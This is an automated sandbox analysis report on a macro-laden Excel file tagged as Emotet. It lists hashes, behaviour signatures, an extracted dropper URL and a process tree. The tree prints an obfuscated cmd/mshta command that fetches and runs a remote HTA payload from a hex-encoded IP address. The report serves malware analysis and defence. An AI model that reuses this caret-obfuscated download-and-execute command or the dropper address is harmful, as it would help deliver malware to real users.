Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20/01/2022, 05:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904.xlsm

  • Size

    115KB

  • MD5

    0f8a9bd847e673ccf5adb13ce6fe5979

  • SHA1

    c84e4613c708eb3ef981218e278149993a3ac3a2

  • SHA256

    7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904

  • SHA512

    646db1fe7664f87c54e41c5fd99a082073a42bb9329b44e386045c53db2f0ae35e4a148279184e998cf637a366c57afda413054589456ecf9ae581fbd14a5647

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7798bb812270c2c7736281585caab8c2f272c52405a7d2f9cf5da363192e9904.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2308
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3380
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3868

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2336-115-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-116-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-117-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-128-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2336-129-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

            Filesize

            64KB

            Download